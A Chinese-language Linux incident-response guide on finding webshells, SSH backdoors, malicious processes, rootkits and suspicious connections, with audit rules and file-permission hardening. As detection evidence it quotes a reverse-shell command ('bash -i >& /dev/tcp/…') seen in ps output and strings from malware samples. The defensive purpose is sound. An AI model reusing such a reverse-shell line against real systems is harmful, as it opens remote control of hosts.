0x01 Web服务
一般如果网络边界做好控制,通常对外开放的仅是Web服务,那么需要先找到Webshell,可以通过如下途径:
1)检查最近创建的php、jsp文件和上传目录
例如要查找24小时内被修改的JSP文件:
find ./ -mtime 0 -name "*.jsp"
2)使用Webshell查杀工具
Windows下D盾等,Linux下河马等。
3)与测试环境目录做对比
diff -r {生产dir} {测试dir}
4)创建Audit审计规则
vim /etc/audit/audit.rules
-a exclude,always -F msgtype=CONFIG_CHANGE
-a exit,always -F arch=b64 -F uid=48 -S execve -k webshell
产生日志如下
type=SYSCALL msg=audit(1505888691.301:898615): arch=c000003e syscall=59 success=yes exit=0 a0=ca5188 a1=cb5ec8 a2=cb5008 a3=8 items=2 ppid=26159 pid=26160 auid=0 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=120028 comm="ls" exe="/bin/ls" subj=unconfined_u:system_r:httpd_t:s0 key="webshell"
type=EXECVE msg=audit(1505888691.301:898615): argc=1 a0="ls"
type=CWD msg=audit(1505888691.301:898615): cwd="/var/www/html/dvwa"
type=PATH msg=audit(1505888691.301:898615): item=0 name="/bin/ls" inode=2359385 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 nametype=NORMAL
type=PATH msg=audit(1505888691.301:898615): item=1 name=(null) inode=1441842 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 nametype=NORMAL
可以看到所在目录为/var/www/html/dvwa
具体Auditd的使用可以看我这篇文章
企业安全中间件EXECVE审计:https://blog.youkuaiyun.com/Fly_hps/article/details/82853036
如果没有通过上述途径找到Webshell,可以通过Access Log获取一些信息。
1)扫描特征
通常入侵行为会伴随着踩点和扫描行为,那么可以查一下具有扫描行为的日志。
例如使用AWVS扫描:
grep 'acunetix' /var/log/httpd/access_log
例如使用sqlmap,但是没有使用–random-agent,UA中带有sqlmap
grep 'sqlmap' /var/log/httpd/access_log
2)孤立页面
referer为 – 的php页面
3)Content-Length
攻击者打包回传,过滤Content-Length大于5M的日志
awk '{if($10>5000000){print $0}}' /var/log/httpd/access_log
需要注意这里如果发现疑似Webshell文件,先用stat记录下时间点,不要直接用vim查看编辑文件内容,这样会更改文件的mtime,对于应急响应来说,时间点很重要。对比时间点更容易在Log找到其他的攻击痕迹。
0x02 SSH服务
登录成功:
grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
或者
last,它会读取位于/var/log/wtmp的文件
登录失败:
grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
或者
lastb,会读取位于/var/log/btmp的文件
检查SSH后门方式:
1)比对ssh的版本
ssh -V
2)查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
3)strings检查/usr/sbin/sshd,看是否有邮箱信息
strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过
strings /usr/sbin/sshd
可以查看到邮箱信息。
4)通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。
ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4
0x03 进程
检查是否存在可疑进程,需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,进程可能会隐藏。
1)系统负载
例如挖矿程序特征就是系统负载高。使用Top命令查看
按照CPU排序:Shift+P
按照MEM排序:Shift+M
2)启动时间
与前面找到的Webshell时间点比对。
3)启动权限
这点很重要,比如某次应急中发现木马进程都是mysql权限执行的,如下所示:
mysql 63763 45.3 0.0 12284 9616 ? R 01:18 470:54 ./db_temp/dazui.4
mysql 63765 0.0 0.0 12284 9616 ? S 01:18 0:01 ./db_temp/dazui.4
mysql 63766 0.0 0.0 12284 9616 ? S 01:18 0:37 ./db_temp/dazui.4
mysql 64100 45.2 0.0 12284 9616 ? R 01:20 469:07 ./db_temp/dazui.4
mysql 64101 0.0 0.0 12284 9616 ? S 01:20 0:01 ./db_temp/dazui.4
那基本可以判断是通过Mysql入侵,重点排查Mysql弱口令、UDF提权等。
4)父进程
例如我在菜刀中反弹Bash
[root@server120 html]# ps -ef | grep '/dev/tcp' | grep -v grep
apache 26641 1014 0 14:59 ? 00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168.192.144/2345 0>&1;echo [S];pwd;echo [E]" 2>&1
父进程进程号1014
[root@server120 html]# ps -ef | grep 1014
apache 1014 1011 0 Sep19 ? 00:00:00 /usr/sbin/httpd
可以看到父进程为apache,就可以判断攻击者通过Web入侵。
lsof -p pid:查看可疑进程打开的文件
例如之前遇到的十字病毒,会修改ps和netstat显示的进程名称
udp 0 0 0.0.0.0:49937 0.0.0.0:* 131683/ls -la
udp 0 0 0.0.0.0:47584 0.0.0.0:* 116515/ifconfig
很明显的异常,ls和ifconfig不会存在监听行为。
[root@DataNode105 admin]# lsof -p 131683
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
hahidjqzx 131683 root cwd DIR 8,98 4096 18087937 /root
hahidjqzx 131683 root rtd DIR 8,98 4096 2 /
hahidjqzx 131683 root txt REG 8,98 625622 24123895 /usr/bin/hahidjqzxs
可疑看到真正的可执行文件是/usr/bin/hahidjqzxs
file:查看文件类型:
[root@server120 tmp]# file .zl
zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
strings:显示二进制的文件中可读字符
[root@server120 tmp]# strings .zl
rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr
/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex
netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m
> /dev/null
netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m
> /dev/null
例如之前应急遇到的命令替换,通过Strings查看发现有大量的IP地址,就是明显的异常现象。
[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep '[1-9]{1,3}\.[1-9]{1,3}\.'
8.8.8.8
8.8.4.4
8.8.8.8
61.132.163.68
202.102.192.68
202.102.213.68
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
0x04 网络连接
需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,连接可能会被隐藏。
netstat -antlp | grep ESTABLISHED
查看已经建立的网络连接,例如反弹bash
[root@server120 html]# netstat -antlp | grep EST | grep bash
tcp 0 0 192.168.192.120:41320 192.168.192.144:2345 ESTABLISHED 26643/bash
netstat -antlp | grep LISTEN
检查可以监听端口,例如攻击者在本地开启sock5代理,然后使用SSH反弹sock5。
[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN 26810/python
[root@template tmp]# lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nginx 15608 root 6u IPv4 958629 0t0 TCP *:http (LISTEN)
nginx 23814 nobody 6u IPv4 958629 0t0 TCP *:http (LISTEN)
0x05 敏感目录
/tmp, /var/tmp, /dev/shm,所有用户都可读,可写,可执行
[root@server120 ~]# ls -ald /tmp/
drwxrwxrwt. 10 root root 4096 9月 20 09:41 /tmp/
[root@server120 ~]# ls -ald /var/tmp/
drwxrwxrwt. 2 root root 4096 9月 18 16:57 /var/tmp/
[root@server120 ~]# ls -ald /dev/shm
drwxrwxrwt. 3 root root 60 9月 1 10:23 /dev/shm
0x06 history
默认的history仅记录执行的命令,然而这些对于应急来说是不够的,很多系统加固脚本会添加记录命令执行的时间,修改记录的最大条数。
另外之前写的关于Bash审计方式也很推荐,链接:
企业安全实战——运维Bash命令审计:https://blog.youkuaiyun.com/Fly_hps/article/details/82853731
0x07 开机启动
开机启动——https://blog.youkuaiyun.com/Fly_hps/article/details/82852229
0x08 定时任务
定时任务——https://blog.youkuaiyun.com/Fly_hps/article/details/82851916
0x09 Rootkit
Rootkit功能通常有隐藏文件、进程、连接、模块,网络嗅探,后门,日志擦除,键盘记录(SSH密码记录)等。
检查命令替换,比较直观的方式就是比较命令的大小和mtime了。
1)比对命令的大小
例如正常的ps和netstat大小
[root@vincent tmp]# ll /bin/ps
-rwxr-xr-x 1 root root 87112 11月 15 2012 /bin/ps
[root@vincent tmp]# ll /bin/netstat
-rwxr-xr-x 1 root root 128216 5月 10 2012 /bin/netstat
下面是其中有一次应急时的记录
[root@DataNode110 admin]# ls -alt /bin/ | head -n 10
total 10836
-rwxr-xr-x 1 root root 625633 Aug 17 16:26 tawlqkazpu
dr-xr-xr-x. 2 root root 4096 Aug 17 16:26 .
-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 ps
-rwxr-xr-x 1 root root 1223123 Aug 17 11:30 netstat
可以看到ps和netstat是一样大的。
2)查看命令的修改时间,按修改时间排序
ls -alt /bin/ | head -n 5
而比较全面的检测方式有:
1)rpm -aV
RPM Database 不仅提供了 RPM 包的查询功能,还提供了对已安装的 RPM 包进行验证的功能。默认情况下,RPM Database 存放在 /var/lib/rpm 目录。
需要注意这条命令局限性就是只能检查通过RPM包安装的所有文件。另外为了防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。
我们可以对系统中所有 RPM 文件做一个全面检查
[root@vincenthostname tmp]# rpm -aV
S.?....T. /bin/ps
...
输出标记含义如下:
S: 表示文件长度发生了变化
M: 表示文件的访问权限或文件类型发生了变化
5: 表示MD5校验和发生了变化。
D: 表示设备节点的属性发生了变化
L: 表示文件的符号链接发生率变化
U: 表示文件/子目录/设备节点的owner发生了变化
G: 表示文件/子目录/设备节点的group发生了变化
T: 表示文件最后一次的修改时间发生了变化
可以看到使用rpm的方式同样可以检查出文件长度和mtime的改变。
列出某个文件是否被改动过
[root@localhost cron.daily]# rpm -Vf /bin/bash
S.5....T. /bin/bash
2)使用chkrootkit和rkhunter查看
rkhunter与chkrootkit的安装测试(rootkit kbeast环境)
0x10 病毒检测
https://x.threatbook.cn/
http://www.virscan.org
https://www.virustotal.com/
https://fireeye.ijinshan.com/
0x11 文件权限
一般是使用chattr或者setfacl来设置权限。
chattr可以修改属性能够提高系统的安全性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录,常用参数如下:
a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安全,只有root才能设定这个属性。
i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。
s:保密性地删除文件或目录,即硬盘空间被全部收回。
u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。
例子:
设置/etc/resolv.conf为不可修改
[root@vincent tmp]# chattr +i /etc/resolv.conf
[root@vincent tmp]# lsattr /etc/resolv.conf
----i--------e- /etc/resolv.conf
[root@vincent tmp]# echo "" > /etc/resolv.conf
-bash: /etc/resolv.conf: 权限不够
可以使用lsattr查看文件权限
[root@vincent tmp]# lsattr 1.txt
-----a-------e- 1.txt
setfacl其实是设置文件的访问控制列表,传统的 Linux 文件系统的权限控制是通过 user、group、other 与 r(读)、w(写)、x(执行) 的不同组合来实现的,同时存在不灵活的问题, 例如目录 /data 的权限为:drwxr-x—,所有者与所属组均为 root,在不改变所有者的前提下,要求用户 tom 对该目录有完全访问权限 (rwx).考虑以下2种办法 (这里假设 tom 不属于 root group)
(1) 给 /data 的 other 类别增加 rwx permission,这样由于 tom 会被归为 other 类别,那么他也将拥有 rwx 权限。
(2) 将 tom 加入到 root group,为 root group 分配 rwx 权限,那么他也将拥有 rwx 权限。
以上 2 种方法其实都不合适,为了解决这些问题,Linux 开发出了一套新的文件系统权限管理方法,叫文件访问控制列表 (Access Control Lists, ACL)。简单地来说,ACL 就是可以设置特定用户或者用户组对于一个文件的操作权限。文件的所有者以及有CAP_FOWNER(在目前的linux系统上,root用户是唯一有CAP_FOWNER能力的用户)的用户进程可以设置一个文件的acl。ACL 有两种,一种是access ACL,针对文件和目录设置访问控制列表。一种是default ACL,只能针对目录设置。如果目录中的文件没有设置 ACL,它就会使用该目录的默认 ACL.
getfacl获取文件权限
[root@vincent tmp]# getfacl 1.cap
# file: 1.cap
# owner: root
# group: root
user::rw-
group::r--
other::r--
setfacl设置Access ACL
比如我设置/tmp/1.sh的other权限为000,然后切换到vinc账户。
[vinc@vincent tmp]$ cat 1.sh
cat: 1.sh: 权限不够
然后我们添加ACL
[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh
然后我们使用ll查看,发现第一个字段文件权限第十位变成了+号
[root@vincent tmp]# ll 1.sh
-rwxrwx---+ 1 root root 512 8月 9 03:21 1.sh
然后我们使用getfacl查看
[vinc@vincent tmp]$ getfacl 1.sh
# file: 1.sh
# owner: root
# group: root
user::rwx
user:vinc:rwx
group::r-x
mask::rwx
other::---
我们切换到vinc账户就可以查看内容了
[vinc@vincent tmp]$ cat 1.sh
test
删除这条ACL
[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh
取消所有的ACL
[root@vincent tmp]# setfacl -b /tmp/1.sh
default acl是指对于一个目录进行default acl设置,并且在此目录下建立的文件都将继承此目录的acl。
[root@vincent opt]# setfacl -d -m u:hehe:--- 1
来看下目录1的权限
[root@vincent opt]# getfacl -c 1
user::rwx
group::r-x
other::r-x
default:user::rwx
default:user:hehe:---
default:group::r-x
default:mask::r-x
default:other::r-x
我们在目录1下新建的文件都将继承这个权限。我们在目录1下新建一个文件,然后查看一下ACL
[vinc@vincent 1]$ getfacl 222
# file: 222
# owner: vinc
# group: vinc
user::rw-
user:hehe:---
group::r-x #effective:r--
mask::r--
other::r--
切换到hehe账户,查看文件,提示权限不够。
[hehe@vincent 1]$ cat /opt/1/222
cat: /opt/1/222: 权限不够